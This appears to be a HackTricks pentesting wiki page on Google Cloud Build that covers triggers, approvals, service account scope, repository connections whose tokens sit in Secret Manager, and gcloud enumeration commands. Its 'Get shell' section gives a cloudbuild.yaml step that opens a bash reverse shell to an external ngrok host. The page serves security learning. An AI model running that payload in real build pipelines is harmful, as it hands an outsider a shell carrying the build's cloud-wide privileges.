# GCP - Cloud Build Enum

{{#include ../../../banners/hacktricks-training.md}}

## Basic Information

Google Cloud Build is a managed CI/CD platform that **automates software build** and release processes, integrating with **source code repositories** and supporting a wide range of programming languages. It **allows developers to build, test, and deploy code automatically** while providing flexibility to customize build steps and workflows.

Each Cloud Build Trigger is **related to a Cloud Repository or directly connected with an external repository** (Github, Bitbucket and Gitlab).

> [!TIP]
> I couldn't see any way to steal the Github/Bitbucket token from here or from Cloud Repositories because when the repo is downloaded it's accessed via a [https://source.cloud.google.com/](https://source.cloud.google.com/) URL and Github is not accessed by the client.

### Events

The Cloud Build can be triggered if:

- **Push to a branch**: Specify the branch
- **Push a new tag**: Specify the tag
- P**ull request**: Specify the branch that receives the PR
- **Manual Invocation**
- **Pub/Sub message:** Specify the topic
- **Webhook event**: Will expose a HTTPS URL and the request must be authenticated with a secret

### Execution

There are 3 options:

- A yaml/json **specifying the commands** to execute. Usually: `/cloudbuild.yaml`
  - Only one that can be specified “inline” in the web console and in the cli
  - Most common option
  - Relevant for unauthenticated access
- A **Dockerfile** to build
- A **Buildpack** to build

### SA Permissions

The **Service Account has the `cloud-platform` scope**, so it can **use all the privileges.** If **no SA is specified** (like when doing submit) the **default SA** `<proj-number>@cloudbuild.gserviceaccount.com` will be **used.**

By default no permissions are given but it's fairly easy to give it some:

<figure><img src="../../../images/image (16).png" alt=""><figcaption></figcaption></figure>

### Approvals

It's possible to config a Cloud Build to **require approvals for build executions** (disabled by default).

### PR Approvals

When the trigger is PR because **anyone can perform PRs to public repositories** it would be very dangerous to just **allow the execution of the trigger with any PR**. Therefore, by default, the execution will only be **automatic for owners and collaborators**, and in order to execute the trigger with other users PRs an owner or collaborator must comment `/gcbrun`.

<figure><img src="../../../images/image (339).png" alt="" width="563"><figcaption></figcaption></figure>

### Connections & Repositories

Connections can be created over:

- **GitHub:** It will show an OAuth prompt asking for permissions to **get a Github token** that will be stored inside the **Secret Manager.**
- **GitHub Enterprise:** It will ask to install a **GithubApp**. An **authentication token** from your GitHub Enterprise host will be created and stored in this project as a S**ecret Manager** secret.
- **GitLab / Enterprise:** You need to **provide the API access token and the Read API access toke**n which will stored in the **Secret Manager.**

Once a connection is generated, you can use it to **link repositories that the Github account has access** to.

This option is available through the button:

<figure><img src="../../../images/image (17).png" alt=""><figcaption></figcaption></figure>

> [!TIP]
> Note that repositories connected with this method are **only available in Triggers using 2nd generation.**

### Connect a Repository

This is not the same as a **`connection`**. This allows **different** ways to get **access to a Github or Bitbucket** repository but **doesn't generate a connection object, but it does generate a repository object (of 1st generation).**

This option is available through the button:

<figure><img src="../../../images/image (18).png" alt=""><figcaption></figcaption></figure>

### Storage

Sometimes Cloud Build will **generate a new storage to store the files for the trigger**. This happens for example in the example that GCP offers with:

```bash
git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
  cd cloud-console-sample-build && \
  gcloud builds submit --config cloudbuild.yaml --region=global
```

A Storage bucket called [security-devbox_cloudbuild](https://console.cloud.google.com/storage/browser/security-devbox_cloudbuild;tab=objects?forceOnBucketsSortingFiltering=false&project=security-devbox) is created to store a `.tgz` with the files to be used.

### Get shell

```yaml
steps:
  - name: bash
    script: |
      #!/usr/bin/env bash
      bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
options:
  logging: CLOUD_LOGGING_ONLY
```

Install gcloud inside cloud build:

```bash
# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
mkdir -p /usr/local/gcloud
tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz
/usr/local/gcloud/google-cloud-sdk/install.sh
```

### Enumeration

You could find **sensitive info in build configs and logs**.

```bash
# Get configured triggers configurations
gcloud builds triggers list # Check for the words github and bitbucket
gcloud builds triggers describe <trigger-name>

# Get build executions
gcloud builds list
gcloud builds describe <build-uuid> # Get even the build yaml if defined in there
gcloud builds log <build-uuid> # Get build logs

# List all connections of each region
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
    echo "Listing build connections in region: $region"
    connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
    if [[ ${#connections[@]} -eq 0 ]]; then
        echo "No connections found in region $region."
    else
        for connection in $connections; do
            echo "Describing connection $connection in region $region"
            gcloud builds connections describe "$connection" --region="$region"
            echo "-----------------------------------------"
        done
    fi
    echo "========================================="
done

# List all worker-pools
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
    echo "Listing build worker-pools in region: $region"
    gcloud builds worker-pools list --region="$region"
    echo "-----------------------------------------"
done
```

### Privilege Escalation

{{#ref}}
../gcp-privilege-escalation/gcp-cloudbuild-privesc.md
{{#endref}}

### Unauthenticated Access

{{#ref}}
../gcp-unauthenticated-enum-and-access/gcp-cloud-build-unauthenticated-enum.md
{{#endref}}

### Post Exploitation

{{#ref}}
../gcp-post-exploitation/gcp-cloud-build-post-exploitation.md
{{#endref}}

{{#include ../../../banners/hacktricks-training.md}}



